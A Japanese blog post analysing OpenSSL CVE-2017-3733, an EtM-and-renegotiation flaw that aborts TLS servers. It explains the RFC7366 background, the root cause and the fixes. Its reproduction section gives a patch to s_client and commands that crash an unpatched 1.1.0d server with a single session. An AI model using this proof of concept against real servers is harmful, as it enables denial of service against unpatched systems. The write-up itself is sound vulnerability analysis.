そうは言っても、まだ広く使われているAES-CBCはこのままでいいのか、TLS1.0や1.1もなんとかしないとあかん、ということから、TLSの暗号通信を従来のMtEからEtMに変更できる仕様 RFC7366: Encrypt-then-MAC for TLS and DTLS が2014年に標準化されました。MtEとEtM共に混在することができないことから、EtM用のCipherSuiteを別に用意するということも考えられたのですが、CipherSuiteの数が多くなりすぎるため、ハンドシェイクのClientHello/ServerHelloの拡張を使ってEtM方式の利用を合意する方式が採用されました。やり方としてはクライアントがEtMをサポートしていることを伝えるEtM拡張をClientHelloに付与し、ServerがEtM方式が可能なCipherSuiteを選択したらEtM拡張をServerHelloに付けてクライアントに返せば完了です。もしサーバがAEADなどEtMを必要としていない暗号方式を使う場合は、ServerHelloにEtM拡張を付けずに返します。簡単に書くと下図のようなやりとりです。 f:id:jovi0608:20170220113626j:plain この方式なら比較的簡単にEtM対応が可能になるだろうという見込みを持って仕様化されましたが、やっぱり今回みたいに落とし穴がありました。仕様はホント注意深く読み込まないといけません。

4 Renegotiation

今回の脆弱性は、EtMとRenegotiationを組み合わせたものです。ここではTLSのRenegotiationについて簡単に書いてみます。

TLSは、最初ハンドシェイクを行った後に再度ハンドシェイク(Renegotiation)を行うことができます。2回目以降は既にハンドシェイクが完了しているので暗号化通信上でRenegotiationが行われます。 これが必要なのは、当初サーバ認証でTLSの通信を行っている後にクライアント認証が必要なリソースにアクセスすることが必要になった場合などです。サーバからの合図でRenegotiationを開始し、クライアント証明書のチェックを行うことによって、サー バ認証のTLS接続後もクライアント認証にシームレスに移行することが可能になります。 f:id:jovi0608:20170220113632j:plain 他の用途として、長時間TLSの通信を行っている時に対称暗号の鍵をアップデートをする際にもRenegotiationを使うことがあります。Renegotiation自体は一見何ら問題ないように見えますが、Renegotiation前後で同一のセキュリティが確保できているか、 処理コストが高いのでDoSっぽいことをやられる恐れはないかとか、これまでもRenegotiationを踏み台にした攻撃手法もいくつか公表されたこともあり、その利用価値は次第に小さくなってきています。

今回の脆弱性は、MtEの実装でRenegotiation時の挙動をちゃんと対処できなかったことが原因でした。やっぱりRenegotiation機能はTLSの状態を非常に複雑にし、いろんな落とし穴の一因になっていると言われても仕方ないでしょう。

5. CVE-2017-3733

5.1 CVE-2017-3733 脆弱性の再現

まずは今回の脆弱性を再現させてみましょう。OpenSSL-1.1.0では default でEtM拡張が有効になっています。今回の脆弱性修正パッチから探ると、最初のハンドシェイクでAEADを利用しRenegotiationでEtMを使った暗号に変更すると crash してしまうようです。OpenSSLの s_clientコマンドでは Renegotiation をサポートしていますが、その際暗号方式を変えることができないので少し改造してみます。

下記パッチを使うと s_client で接続後、標準入力で S を入れると AES128-SHAで Renegotiation を行うようになります。脆弱性のある 1.1.0dを使うとクライアントが先に crashしてしまうので修正された1.1.0eの s_client にパッチを当ててみます。

--- a/apps/s_client.c
+++ b/apps/s_client.c
@@ -2440,6 +2440,12 @@ int s_client_main(int argc, char **argv)
                 SSL_renegotiate(con);
                 cbuf_len = 0;
             }
+            if ((!c_ign_eof) && (cbuf[0] == 'S' && cmdletters)) {
+                BIO_printf(bio_err, "RENEGOTIATING for CVE-2017-3733\n");
+                SSL_set_cipher_list(con, "AES128-SHA");
+                SSL_renegotiate(con);
+                cbuf_len = 0;
+            }

先に OpenSSL-1.1.0dでTLSサーバを立ち上げておき、このクライントで接続します。AES128-GCM-SHA256(AEAD)で接続してからコマンドSを入力してAES128-SHAにRenegotiationしてみましょう。

~/openssl-1.1.0e$ ./apps/openssl s_client -connect localhost:8443 -cipher AES128-GCM-SHA256
CONNECTED(00000003)
(中略)
    Extended master secret: yes
---
S
RENEGOTIATING for CVE-2017-3733
(中略)
write:errno=104

なんかエラー出てます。サーバ側がどうなっているのか見てみます。

~/openssl-1.1.0d$ ./apps/openssl s_server -cert ~/tmp/certs/server.cert -key ~/tmp/certs/server.key -accept 8443
Using default temp DH parameters
ACCEPT
(中略)
CIPHER is AES128-GCM-SHA256
Secure Renegotiation IS supported
ssl/record/ssl3_record.c:352: OpenSSL internal error: assertion failed: mac_size <= EVP_MAX_MD_SIZE
Aborted (core dumped)

うわっ、エラー吐いてTLSサーバが abort しています。たった一つのTLSセッションでTLSサーバを落とすことができました。

5.2 CVE-2017-3733 の原因

なんでこんなことになってしまったのか、その原因を探ってみましょう。

OpenSSL-1.1.0dのEtM実装ではサーバは ClientHello のEtM拡張と選択するCipherSuiteを見てEtMを使うか判断し、EtM拡張付きのServerHelloを返すと共にEtM利用のFlag(TLS1_FLAGS_ENCRYPT_THEN_MAC)を立てます。

最初のハンドシェイクでは、 Change Cipher Spec(CCS)の送受信が行われるまで平文通信です。CCSによりEtMの暗号化開始はサーバ・クライアント共に同期が取れていて問題ありません。 ところが Renegotiation は暗号化通信上で行われるハンドシェイクです。暗号化通信上でこのClientHelo/ServerHelloの送受信タイミングでEtM利用のFlagが立ってしまったらどうなるでしょうか?

本来は CCS の送受信のタイミングで暗号方式が変わります、このタイミングでEtMの利用を開始するのは早すぎるのです。

先の脆弱性の再現例では最初のハンドシェイクは AES-GCM でした。サーバ側は EtMのフラグがOnになっているのでAES-GCMで暗号化されたデータをEtM方式で復号化しようとします。まずMACチェックを行いますが、AES-GCMはMACを使いません。本来ありえないAEADのEtMの復号処理、その時点でそのTLSセッションの処理は止まってしまいます。 f:id:jovi0608:20170220113639j:plain 普通1つのTLSセッションのエラーがサーバ全体に波及することはありません。そこにはもう一つ落とし穴がありました。

5.3 int -> unsigned int へ、castの悲劇

じゃこのエラー時、どんな処理がされるのでしょうか? 該当するコードは以下のところです。

    if (SSL_USE_ETM(s) && s->read_hash) {
        unsigned char *mac;
        mac_size = EVP_MD_CTX_size(s->read_hash);
        OPENSSL_assert(mac_size <= EVP_MAX_MD_SIZE);

SSL_USE_ETMが有効化されているのでmac_sizeを取得しに行きます。AES128-GCM-SHA256の場合はAEADなのでMACが定義されておらず mac_size に -1 が返ります。

現状のTLSではMACの最大はSHA512の64バイト、 -1 <= 64 だから assert 問題ないです。しかし、

    short version;
    unsigned mac_size;
    unsigned int num_recs = 0;

あー、mac_sizeは unsigned にキャストされています。 -1 は、4294967295(=232-1) です。AES-GCMのMACサイズはなんと4Gバイト超の巨大な値とみなされます。

OPENSSL_assert(4294967295 <= 64);

これで assert チェックにひっかかり、しかもOPENSSL_assert は abort() まで行きます。 TLSサーバは見事ここで crash です。 この脆弱性は、RedHatのエンジニアからの報告だったようですが、よく見つけたものです。

5.4 修正方法

根本的な問題は、ClientHello/ServerHelloの送受信時にEtM利用を開始したことでした。そこで修正はCCSの送受信時にREAD/WRITEの2つのEtM利用のフラグを使うようにしました。 https://github.com/openssl/openssl/commit/4ad93618d26a3ea23d36ad5498ff4f59eff3a4d2 f:id:jovi0608:20170220113646j:plain 実はこれ、RFC7366の仕様にちゃんと注意事項として書いてありました。

3.1.  Rehandshake Issues
   (中略)
   If an upgrade from MAC-then-encrypt to encrypt-then-MAC is negotiated
   as per the second line in the table above, then the change will take
   place in the first message that follows the Change Cipher Spec (CCS)
   message.

「再ハンドシェイク時のEtMの切り替えはCCS後に変更を行うこと」まさにこれです。もう言い訳ききません。

OpenSSL-1.1.0eでは、今回の破壊的な結果を引き起こした unsigned 変数のキャストやOPENSSL_assert()の処理も修正されました。 https://github.com/openssl/openssl/commit/60747ea22f8b25b2a7e54e7fe4ad47dfe8f93383

実は master の OpenSSL-1.1.1-dev では、 mac_size をちゃんと int で受けて範囲チェックを行い、 size_t にキャストするよう変更されていました。 そのためエラーは発生するものの crash まで行くことはありません。最新ブランチには地道なコードの見直しがちゃんとされているようです。

6. TLS1.3とOpenSSL-1.1.1

OpenSSL-1.1.0では default で使えるようになっているEtM拡張ですが、BoringSSLやNSSで実装する動きはまだありません。すなわちChromeFirefoxなどのブラウザーでのサポート見込みはありません。 TLS1.2でAES-GCMやChaCha20-Poly1305などAEADが使えるようになっているので、わざわざ対応する必要はないということでしょう。

次期TLS1.3では根本的な機能の見直しが行われており、今回の要因となったTLSの機能を廃止・変更しています。

  • Renegotiationを廃止して Post-handshakeを新設。
  • Change Cipher Spec を廃止して、鍵交換後は即暗号化開始。
  • CBCモードの利用廃止、CipherSuiteはAEADのみ利用可に。

よってTLS1.3ではEtM自体が意味のない機能になっています。OpenSSL-1.1.1ではTLS1.3が実装されており、近く正式リリースされるのではないかと期待されています。OpenSSLの開発者が所属する akamai では、4月にTLS1.3を rollout するようです。 TLS1.3の仕様化完了とOpenSSL-1.1.1のリリースが待ち遠しいです。